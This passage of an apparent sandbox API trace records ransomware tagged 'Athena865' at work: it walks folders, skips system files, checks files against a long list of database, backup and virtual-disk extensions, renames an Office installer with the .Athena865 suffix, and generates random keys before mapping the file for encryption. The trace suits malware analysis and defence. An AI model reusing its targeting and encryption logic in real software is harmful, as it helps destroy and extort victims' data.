dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0060.126] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0060.126] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="temp") returned -1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="pagefile.sys") returned -1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ids.txt") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0060.126] lstrcmpiW (lpString1="Office32WW.msi", lpString2="perflogs") returned -1 [0060.127] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSBuild") returned 1 [0060.127] lstrlenW (lpString="Office32WW.msi") returned 14 [0060.127] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0060.127] lstrlenW (lpString="Office32WW.msi") returned 14 [0060.127] lstrlenW (lpString="Athena865") returned 9 [0060.127] lstrcmpiW (lpString1="e32WW.msi", lpString2="Athena865") returned 1 [0060.127] lstrlenW (lpString=".dll") returned 4 [0060.127] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".dll") returned 1 [0060.127] lstrlenW (lpString=".lnk") returned 4 [0060.127] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".lnk") returned 1 [0060.127] lstrlenW (lpString=".ini") returned 4 [0060.127] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".ini") returned 1 [0060.127] lstrlenW (lpString=".sys") returned 4 [0060.127] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".sys") returned 1 [0060.127] lstrlenW (lpString="Office32WW.msi") returned 14 [0060.127] lstrlenW (lpString="bak") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0060.127] lstrlenW (lpString="ba_") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0060.127] lstrlenW (lpString="dbb") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0060.127] lstrlenW (lpString="vmdk") returned 4 [0060.127] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0060.127] lstrlenW (lpString="rar") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0060.127] lstrlenW (lpString="zip") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0060.127] lstrlenW (lpString="tgz") returned 3 [0060.127] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0060.127] lstrlenW (lpString="vbox") returned 4 [0060.127] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0060.127] lstrlenW (lpString="vdi") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0060.128] lstrlenW (lpString="vhd") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0060.128] lstrlenW (lpString="vhdx") returned 4 [0060.128] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0060.128] lstrlenW (lpString="avhd") returned 4 [0060.128] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0060.128] lstrlenW (lpString="db") returned 2 [0060.128] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0060.128] lstrlenW (lpString="db2") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0060.128] lstrlenW (lpString="db3") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0060.128] lstrlenW (lpString="dbf") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0060.128] lstrlenW (lpString="mdf") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0060.128] lstrlenW (lpString="mdb") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0060.128] lstrlenW (lpString="sql") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0060.128] lstrlenW (lpString="sqlite") returned 6 [0060.128] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1 [0060.128] lstrlenW (lpString="sqlite3") returned 7 [0060.128] lstrcmpiW (lpString1="2WW.msi", lpString2="sqlite3") returned -1 [0060.128] lstrlenW (lpString="sqlitedb") returned 8 [0060.128] lstrcmpiW (lpString1="32WW.msi", lpString2="sqlitedb") returned -1 [0060.128] lstrlenW (lpString="xml") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0060.128] lstrlenW (lpString="$er") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0060.128] lstrlenW (lpString="4dd") returned 3 [0060.128] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0060.129] lstrlenW (lpString="4dl") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0060.129] lstrlenW (lpString="^^^") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0060.129] lstrlenW (lpString="abs") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0060.129] lstrlenW (lpString="abx") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0060.129] lstrlenW (lpString="accdb") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1 [0060.129] lstrlenW (lpString="accdc") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1 [0060.129] lstrlenW (lpString="accde") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1 [0060.129] lstrlenW (lpString="accdr") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1 [0060.129] lstrlenW (lpString="accdt") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1 [0060.129] lstrlenW (lpString="accdw") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1 [0060.129] lstrlenW (lpString="accft") returned 5 [0060.129] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1 [0060.129] lstrlenW (lpString="adb") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0060.129] lstrlenW (lpString="adb") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0060.129] lstrlenW (lpString="ade") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0060.129] lstrlenW (lpString="adf") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0060.129] lstrlenW (lpString="adn") returned 3 [0060.129] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0060.130] lstrlenW (lpString="adp") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0060.130] lstrlenW (lpString="alf") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0060.130] lstrlenW (lpString="ask") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0060.130] lstrlenW (lpString="btr") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0060.130] lstrlenW (lpString="cat") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0060.130] lstrlenW (lpString="cdb") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0060.130] lstrlenW (lpString="ckp") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0060.130] lstrlenW (lpString="cma") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0060.130] lstrlenW (lpString="cpd") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0060.130] lstrlenW (lpString="dacpac") returned 6 [0060.130] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1 [0060.130] lstrlenW (lpString="dad") returned 3 [0060.130] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0060.130] lstrlenW (lpString="dadiagrams") returned 10 [0060.130] lstrcmpiW (lpString1="ce32WW.msi", lpString2="dadiagrams") returned -1 [0060.130] lstrlenW (lpString="daschema") returned 8 [0060.130] lstrcmpiW (lpString1="32WW.msi", lpString2="daschema") returned -1 [0060.130] lstrlenW (lpString="db-journal") returned 10 [0060.130] lstrcmpiW (lpString1="ce32WW.msi", lpString2="db-journal") returned -1 [0060.130] lstrlenW (lpString="db-shm") returned 6 [0060.130] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1 [0060.130] lstrlenW (lpString="db-wal") returned 6 [0060.130] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1 [0060.130] lstrlenW (lpString="dbc") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0060.131] lstrlenW (lpString="dbs") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0060.131] lstrlenW (lpString="dbt") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0060.131] lstrlenW (lpString="dbv") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0060.131] lstrlenW (lpString="dbx") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0060.131] lstrlenW (lpString="dcb") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0060.131] lstrlenW (lpString="dct") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0060.131] lstrlenW (lpString="dcx") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0060.131] lstrlenW (lpString="ddl") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0060.131] lstrlenW (lpString="dlis") returned 4 [0060.131] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0060.131] lstrlenW (lpString="dp1") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0060.131] lstrlenW (lpString="dqy") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0060.131] lstrlenW (lpString="dsk") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0060.131] lstrlenW (lpString="dsn") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0060.131] lstrlenW (lpString="dtsx") returned 4 [0060.131] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0060.131] lstrlenW (lpString="dxl") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0060.131] lstrlenW (lpString="eco") returned 3 [0060.131] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0060.132] lstrlenW (lpString="ecx") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0060.132] lstrlenW (lpString="edb") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0060.132] lstrlenW (lpString="epim") returned 4 [0060.132] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0060.132] lstrlenW (lpString="fcd") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0060.132] lstrlenW (lpString="fdb") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0060.132] lstrlenW (lpString="fic") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0060.132] lstrlenW (lpString="flexolibrary") returned 12 [0060.132] lstrcmpiW (lpString1="fice32WW.msi", lpString2="flexolibrary") returned -1 [0060.132] lstrlenW (lpString="fm5") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0060.132] lstrlenW (lpString="fmp") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0060.132] lstrlenW (lpString="fmp12") returned 5 [0060.132] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1 [0060.132] lstrlenW (lpString="fmpsl") returned 5 [0060.132] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1 [0060.132] lstrlenW (lpString="fol") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0060.132] lstrlenW (lpString="fp3") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0060.132] lstrlenW (lpString="fp4") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0060.132] lstrlenW (lpString="fp5") returned 3 [0060.132] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0060.132] lstrlenW (lpString="fp7") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0060.133] lstrlenW (lpString="fpt") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0060.133] lstrlenW (lpString="frm") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0060.133] lstrlenW (lpString="gdb") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0060.133] lstrlenW (lpString="gdb") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0060.133] lstrlenW (lpString="grdb") returned 4 [0060.133] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0060.133] lstrlenW (lpString="gwi") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0060.133] lstrlenW (lpString="hdb") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0060.133] lstrlenW (lpString="his") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0060.133] lstrlenW (lpString="ib") returned 2 [0060.133] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0060.133] lstrlenW (lpString="idb") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0060.133] lstrlenW (lpString="ihx") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0060.133] lstrlenW (lpString="itdb") returned 4 [0060.133] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0060.133] lstrlenW (lpString="itw") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0060.133] lstrlenW (lpString="jet") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0060.133] lstrlenW (lpString="jtx") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0060.133] lstrlenW (lpString="kdb") returned 3 [0060.133] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0060.134] lstrlenW (lpString="kexi") returned 4 [0060.134] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0060.134] lstrlenW (lpString="kexic") returned 5 [0060.134] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1 [0060.134] lstrlenW (lpString="kexis") returned 5 [0060.134] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1 [0060.134] lstrlenW (lpString="lgc") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0060.134] lstrlenW (lpString="lwx") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0060.134] lstrlenW (lpString="maf") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0060.134] lstrlenW (lpString="maq") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0060.134] lstrlenW (lpString="mar") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0060.134] lstrlenW (lpString="marshal") returned 7 [0060.134] lstrcmpiW (lpString1="2WW.msi", lpString2="marshal") returned -1 [0060.134] lstrlenW (lpString="mas") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0060.134] lstrlenW (lpString="mav") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0060.134] lstrlenW (lpString="maw") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0060.134] lstrlenW (lpString="mdbhtml") returned 7 [0060.134] lstrcmpiW (lpString1="2WW.msi", lpString2="mdbhtml") returned -1 [0060.134] lstrlenW (lpString="mdn") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0060.134] lstrlenW (lpString="mdt") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0060.134] lstrlenW (lpString="mfd") returned 3 [0060.134] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0060.135] lstrlenW (lpString="mpd") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0060.135] lstrlenW (lpString="mrg") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0060.135] lstrlenW (lpString="mud") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0060.135] lstrlenW (lpString="mwb") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0060.135] lstrlenW (lpString="myd") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0060.135] lstrlenW (lpString="ndf") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0060.135] lstrlenW (lpString="nnt") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0060.135] lstrlenW (lpString="nrmlib") returned 6 [0060.135] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1 [0060.135] lstrlenW (lpString="ns2") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0060.135] lstrlenW (lpString="ns3") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0060.135] lstrlenW (lpString="ns4") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0060.135] lstrlenW (lpString="nsf") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0060.135] lstrlenW (lpString="nv") returned 2 [0060.135] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0060.135] lstrlenW (lpString="nv2") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0060.135] lstrlenW (lpString="nwdb") returned 4 [0060.135] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0060.135] lstrlenW (lpString="nyf") returned 3 [0060.135] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0060.136] lstrlenW (lpString="odb") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0060.136] lstrlenW (lpString="odb") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0060.136] lstrlenW (lpString="oqy") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0060.136] lstrlenW (lpString="ora") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0060.136] lstrlenW (lpString="orx") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0060.136] lstrlenW (lpString="owc") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0060.136] lstrlenW (lpString="p96") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0060.136] lstrlenW (lpString="p97") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0060.136] lstrlenW (lpString="pan") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0060.136] lstrlenW (lpString="pdb") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0060.136] lstrlenW (lpString="pdm") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0060.136] lstrlenW (lpString="pnz") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0060.136] lstrlenW (lpString="qry") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0060.136] lstrlenW (lpString="qvd") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0060.136] lstrlenW (lpString="rbf") returned 3 [0060.136] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0060.136] lstrlenW (lpString="rctd") returned 4 [0060.136] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0060.136] lstrlenW (lpString="rod") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0060.137] lstrlenW (lpString="rodx") returned 4 [0060.137] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0060.137] lstrlenW (lpString="rpd") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0060.137] lstrlenW (lpString="rsd") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0060.137] lstrlenW (lpString="sas7bdat") returned 8 [0060.137] lstrcmpiW (lpString1="32WW.msi", lpString2="sas7bdat") returned -1 [0060.137] lstrlenW (lpString="sbf") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0060.137] lstrlenW (lpString="scx") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0060.137] lstrlenW (lpString="sdb") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0060.137] lstrlenW (lpString="sdc") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0060.137] lstrlenW (lpString="sdf") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0060.137] lstrlenW (lpString="sis") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0060.137] lstrlenW (lpString="spq") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0060.137] lstrlenW (lpString="te") returned 2 [0060.137] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0060.137] lstrlenW (lpString="teacher") returned 7 [0060.137] lstrcmpiW (lpString1="2WW.msi", lpString2="teacher") returned -1 [0060.137] lstrlenW (lpString="tmd") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0060.137] lstrlenW (lpString="tps") returned 3 [0060.137] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0060.137] lstrlenW (lpString="trc") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0060.138] lstrlenW (lpString="trc") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0060.138] lstrlenW (lpString="trm") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0060.138] lstrlenW (lpString="udb") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0060.138] lstrlenW (lpString="udl") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0060.138] lstrlenW (lpString="usr") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0060.138] lstrlenW (lpString="v12") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0060.138] lstrlenW (lpString="vis") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0060.138] lstrlenW (lpString="vpd") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0060.138] lstrlenW (lpString="vvv") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0060.138] lstrlenW (lpString="wdb") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0060.138] lstrlenW (lpString="wmdb") returned 4 [0060.138] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0060.138] lstrlenW (lpString="wrk") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0060.138] lstrlenW (lpString="xdb") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0060.138] lstrlenW (lpString="xld") returned 3 [0060.138] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0060.138] lstrlenW (lpString="xmlff") returned 5 [0060.138] lstrcmpiW (lpString1="W.msi", lpString2="xmlff") returned -1 [0060.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865") returned 87 [0060.139] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwFlags=0x1) returned 1 [0060.140] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.140] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1992192) returned 1 [0060.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.143] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.144] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.144] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.144] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e6900, lpName=0x0) returned 0x17c [0060.145] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e6900) returned 0x2d50000 [0060.222] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.223] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.223] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 